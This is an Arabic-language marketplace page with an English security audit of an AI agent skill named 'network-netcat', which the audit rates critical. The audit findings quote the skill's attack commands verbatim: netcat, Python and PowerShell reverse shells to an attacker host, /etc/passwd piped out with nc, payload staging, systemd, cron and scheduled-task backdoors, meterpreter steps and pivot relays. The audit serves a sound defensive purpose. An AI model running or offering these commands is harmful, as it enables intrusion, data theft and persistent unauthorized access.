المهارات network-netcat
📦
network-netcat
v0.1.0 مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات🔑 متغيرات البيئة⚡ يحتوي على سكربتات
تدقيق سير عمل اختبار الشبكات باستخدام Netcat
يحتاج مختبرو الشبكات إلى سير عمل واضحة لـ netcat لإجراء فحوصات الاتصال والتحقق المضبوط. تنظّم هذه المهارة أوامر netcat وخطوات التفويض وإرشادات التوثيق.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "network-netcat" from https://skillstore.io/skills/agentsecops-network-netcat.md and its manifest at https://skillstore.io/api/skills/agentsecops-network-netcat/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "network-netcat". أحتاج إلى اختبار ما إذا كانت منافذ التطبيقات المعتمدة قابلة للوصول بين مضيفين داخليين.
النتيجة المتوقعة:
- قائمة تحقق للنطاق تتضمن مضيف المصدر ومضيف الوجهة والمنافذ والمالك وسجل الموافقة.
- مصفوفة اختبار تفصل فحوصات TCP وفحوصات UDP والنتائج المتوقعة وملاحظات الأدلة.
- قسم للتنظيف وإعداد التقارير يتضمن الطوابع الزمنية وسجلات الأوامر وتوقيع المراجع.
جارٍ استخدام "network-netcat". أحتاج إلى مراجعة نشاط netcat مشبوه عُثر عليه في سجلات نقاط النهاية.
النتيجة المتوقعة:
ملخص فرز يتضمن النية المحتملة والمضيفين المتأثرين ومؤشرات العمليات ومؤشرات الشبكة وخطوات الاحتواء وطلبات الأدلة اللاحقة.
جارٍ استخدام "network-netcat". أحتاج إلى تقييم نقل ملفات netcat مقترح في مختبر مقيّد.
النتيجة المتوقعة:
- مراجعة مخاطر تغطي حساسية البيانات والتشفير والتحكم في الوجهة والاحتفاظ والتسجيل التدقيقي.
- توصية باستخدام أدوات النقل المعتمدة عندما تتطلب ضوابط العمل ضمانات أقوى للهوية أو السلامة.
التدقيق الأمني
حرجv10 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
The main SKILL.md contains explicit reverse shell, bind shell, payload staging, data exfiltration, persistence backdoor, Metasploit, and relay guidance. CI and reference-template findings are mostly documentation false positives, except the CI pipe-to-shell installer. Because core skill intent enables unauthorized access and persistence if misused, the audit confirms high and critical marketplace risk.
6
الملفات التي تم فحصها
2,096
الأسطر التي تم تحليلها
45
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (24)
حرج
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote installer script and pipes it directly to bash. This creates a supply-chain execution risk because remote content runs without pinning or verification.
حرج
Shell backdoor keywords
tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
The metadata advertises reverse-shell and backdoor-related capabilities. This accurately reflects the main skill content and is a real marketplace risk.
حرج
Metasploit framework
### Metasploit Integration
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
حرج
Metasploit framework
# Metasploit session backgrounding and netcat shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
حرج
Metasploit framework
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
حرج
Metasploit framework
meterpreter > upload /usr/bin/nc /tmp/nc
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
حرج
Metasploit framework
meterpreter > shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
حرج
Malware type keywords
### Pattern 4: Persistent Backdoor (Authorized Testing)
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
عرض جميع النتائج المؤكدة البالغة 24
حرج
Malware type keywords
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
حرج
Malware type keywords
systemctl enable netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
حرج
Malware type keywords
systemctl start netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
حرج
System password file access
cat /etc/passwd | nc <attacker-ip> 5555
The command pipes /etc/passwd through netcat to an attacker host under a data exfiltration heading. This is direct sensitive file exfiltration guidance.
حرج
Systemd service enablement
systemctl enable netcat-backdoor.service
The command enables a systemd service named netcat-backdoor. It establishes Linux persistence for a remote shell.
حرج
Windows scheduled task creation
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The command creates a Windows scheduled task that runs ncat with cmd.exe at startup. This is Windows persistence for remote command execution.
حرج
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines shell execution guidance with persistence examples such as systemd, cron, and scheduled tasks. This maintained-access pattern is confirmed by the reverse shell and backdoor sections in SKILL.md.
حرج
Reverse And Bind Shell Runbooks
SKILL.md gives Linux, Windows, Python, PowerShell, and named-pipe workflows for reverse shells, bind shells, and PTY upgrades.
The section headings and commands explicitly describe reverse shells, bind shells, and interactive shell upgrades across platforms.
حرج
Data Exfiltration Instructions
SKILL.md includes a dedicated data exfiltration pattern for sensitive files, database dumps, and web directories sent to an attacker listener.
The heading and examples directly label the workflow as data exfiltration and include sensitive file transfer over netcat.
حرج
Persistence Backdoor Setup
SKILL.md provides Linux systemd, cron, and Windows scheduled task examples to keep netcat shell access running after reboot.
The section is titled persistent backdoor and includes service enablement, cron persistence, and scheduled task creation.
مرتفع
Malware type keywords
transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
مرتفع
Malware type keywords
[ ] 8. Remove any backdoors or persistence mechanisms
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
مرتفع
Malware type keywords
- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
مرتفع
Network scanning tools
Simple port scanning (note: nmap is more comprehensive):
The line introduces netcat port scanning. Network scanning is legitimate with authorization but remains a real reconnaissance capability.
مرتفع
Relay, Pivot, And Covert Channel Guidance
SKILL.md describes relays through compromised hosts, pivot chains into internal services, and simple covert communication channels.
The text explicitly names compromised hosts, internal network relays, pivot chains, and covert communication with netcat listeners.
متوسط
System reconnaissance
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
The request tests command execution over HTTP using netcat and a cmd=id parameter. It is exploit validation guidance and can be abused against unauthorized targets.
عناصر مراجعة القدرات (45)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
Process spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python one-liner opens a socket to an attacker host and launches an interactive shell through subprocess.call. This is a complete reverse shell payload.
حرج
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
Python PTY spawn (shell access)
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
حرج
PowerShell invocation
# PowerShell reverse shell
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
حرج
PowerShell invocation
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
حرج
Windows cmd.exe
ncat.exe <attacker-ip> 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
حرج
Windows cmd.exe
ncat.exe -lvnp 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
حرج
Windows cmd.exe
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The schtasks command configures a Windows startup task that runs ncat with cmd.exe. This creates persistent remote command execution.
حرج
Unix shell invocation
nc <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
nc -lvnp 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
حرج
Unix shell invocation
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
حرج
Unix shell invocation
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
ncat <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
حرج
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
حرج
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
حرج
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
chmod +x /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
/tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
meterpreter > upload /usr/bin/nc /tmp/nc
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
rm /tmp/f; mkfifo /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
حرج
Temp directory access
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
مرتفع
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded GitHub URL is used in a live install command that executes downloaded content. The network access is risky because it is coupled to pipe-to-shell execution.
مرتفع
Unix shell invocation
export SHELL=/bin/bash
The export sets the shell environment during a PTY upgrade. It is part of an interactive reverse-shell stabilization workflow.
مرتفع
Hardcoded IP address
nc -lvnp 9090 -c "nc 192.168.1.100 3389"
The private IP appears in a pivot-chain example that relays traffic from a compromised host to an internal RDP service. The risk is the documented pivoting workflow, not the example address itself.
مرتفع
Standard device file access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
مرتفع
Standard device file access
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
متوسط
Shell command substitution
LOG_DIR="shells/$(date +%Y%m%d)"
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
متوسط
Shell command substitution
TIMESTAMP=$(date +%H%M%S)
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
متوسط
Unix shell invocation
#!/bin/bash
The shell shebang starts an automation script that catches and logs reverse-shell sessions. It supports the shell-handling workflow described in the same section.
عوامل الخطر
⚙️ الأوامر الخارجية (50)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:182 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:34-46 SKILL.md:46-77 SKILL.md:77-89 SKILL.md:89-100 SKILL.md:100-115 SKILL.md:115-119 SKILL.md:119-131 SKILL.md:131-137 SKILL.md:137-151 SKILL.md:151-164 SKILL.md:164-170 SKILL.md:170-174 SKILL.md:174-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-212 SKILL.md:212-221 SKILL.md:221-224 SKILL.md:224-226 SKILL.md:226-237 SKILL.md:237-240 SKILL.md:240-243 SKILL.md:243-249 SKILL.md:249-253 SKILL.md:253-259 SKILL.md:259-263 SKILL.md:263-271 SKILL.md:271-277 SKILL.md:277-287 SKILL.md:287-293 SKILL.md:293-303 SKILL.md:303-307 SKILL.md:307-313 SKILL.md:313-319 SKILL.md:319-325
🌐 الوصول إلى الشبكة (24)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:18 SKILL.md:19 SKILL.md:562 SKILL.md:563 SKILL.md:564 SKILL.md:565 SKILL.md:566 SKILL.md:309 SKILL.md:104
📁 الوصول إلى نظام الملفات (13)
🔑 متغيرات البيئة (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ يحتوي على سكربتات (2)
الأنماط المكتشفة
Pipe to shell patternShell backdoor keywordsMetasploit framework×5Malware type keywords×7System password file accessSystemd service enablementWindows scheduled task creationSystem reconnaissanceNetwork scanning tools
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/agentsecops-network-netcat/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/agentsecops-network-netcat/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/agentsecops-network-netcat.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
AgentSecOps. (2026). network-netcat security audit report (audit version 10) [Author version 0.1.0]. Skillstore. https://skillstore.io/skills/agentsecops-network-netcat/audits/10اقتباس BibTeX
@techreport{agentsecops-agentsecops-network-netcat-2026,
author = {AgentSecOps},
title = {network-netcat security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/agentsecops-network-netcat/audits/10},
note = {Author version 0.1.0}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "network-netcat security audit report (audit version 10)"
version: "0.1.0"
type: report
authors:
- name: "AgentSecOps"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/agentsecops-network-netcat/audits/10"
identifiers:
- type: other
value: "skillstore:agentsecops-network-netcat:audit:10"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
100
قابلية الصيانة
87
المحتوى
73
المجتمع
87
الامتثال للمواصفات
ما الذي يمكنك بناؤه
التحقق من إمكانية الوصول عبر الشبكة
خطّط لفحوصات TCP وUDP المعتمدة بين مضيفين معروفين، ثم سجّل الأدلة لمراجعات جدار الحماية أو التجزئة الشبكية.
إعداد اختبارات المختبر المصرّح بها
نظّم خطوات اختبار netcat والتسجيل ومهام التنظيف قبل تشغيل تمارين مضبوطة في مختبر.
مراجعة تغطية كشف Netcat
اربط سلوكيات netcat بمؤشرات العمليات والشبكة وسطر الأوامر من أجل التخطيط للمراقبة والاستجابة.
جرّب هذه الموجّهات
مراجعة نطاق Netcat
ساعدني في إنشاء قائمة تحقق للتفويض قبل الاختبار لفحوصات اتصال netcat على [system]. ضمّن النطاق وجهات الاتصال والتسجيل والتنظيف.
تخطيط اختبارات الاتصال
أنشئ خطة اختبار اتصال TCP وUDP مضبوطة لـ [environment]. استخدم فقط المضيفين داخل النطاق وضمّن خطوات التوثيق.
تقييم مخاطر الترحيل
راجع سير عمل ترحيل netcat أو نقل الملفات المقترح هذا لـ [lab]. حدّد المخاطر والضوابط والسجلات والبدائل الأكثر أمانًا.
تعزيز تغطية الكشف
ابنِ خطة كشف واستجابة لمؤشرات netcat reverse shell والاستمرارية في [environment]. ضمّن حقول SIEM وخطوات الاحتواء.
أفضل الممارسات
- احصل على تفويض مكتوب وأكّد الأهداف داخل النطاق قبل أي نشاط netcat.
- استخدم مختبرات معزولة أو أنظمة داخلية معتمدة للتحقق الهجومي.
- وثّق الأوامر والطوابع الزمنية والملفات المنقولة والنتائج وأدلة التنظيف.
تجنب
- تشغيل netcat ضد أهداف عامة أو غير معتمدة.
- إنشاء shells أو relays أو persistence خارج مشاركة مضبوطة.
- نقل ملفات حساسة دون موافقة وتشفير وتسجيل تدقيقي.
الأسئلة المتكررة
هل هذه المهارة للاستخدام الدفاعي فقط؟
لا. تتضمن أمثلة netcat هجومية، لذا استخدمها فقط بتفويض صريح ونطاق واضح.
هل يمكن لـ Claude أو Codex أو Claude Code تشغيل هذه الأوامر تلقائيًا؟
توفّر المهارة إرشادات. يجب على المستخدمين فرض الموافقة والعزل وصلاحيات الأدوات قبل أي تنفيذ للأوامر.
هل يحل هذا محل Nmap أو أداة فحص كاملة؟
لا. يُعد Netcat مفيدًا للفحوصات السريعة، لكن أدوات الفحص المخصصة توفّر اكتشافًا أغنى وبصمة خدمات.
ما الأدلة التي يجب أن أسجلها؟
سجّل التفويض ونطاق الهدف والطوابع الزمنية والأوامر ومضيفي المصدر والوجهة والملفات المنقولة ونتائج التنظيف.
ما الطريقة الأكثر أمانًا لاستخدام هذه المهارة؟
استخدمها في مختبر أو بيئة داخلية معتمدة مع التسجيل والإشراف وإجراءات التراجع.
لماذا تُعد هذه المهارة عالية المخاطر؟
توثّق shells وrelays وعمليات نقل الملفات وأنماط persistence التي يمكن أن تدعم وصولًا غير مصرّح به إذا أسيء استخدامها.
تفاصيل المطور
المؤلف
AgentSecOpsالترخيص
MIT
إصدار المؤلف
v0.1.0
مراجعة Skillstore
r1
مرجع
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
حداثة الصيانة
٢٠/٧/٢٠٢٦
الاستخدام
6 تنزيلات · 399 مشاهدات
بنية الملفات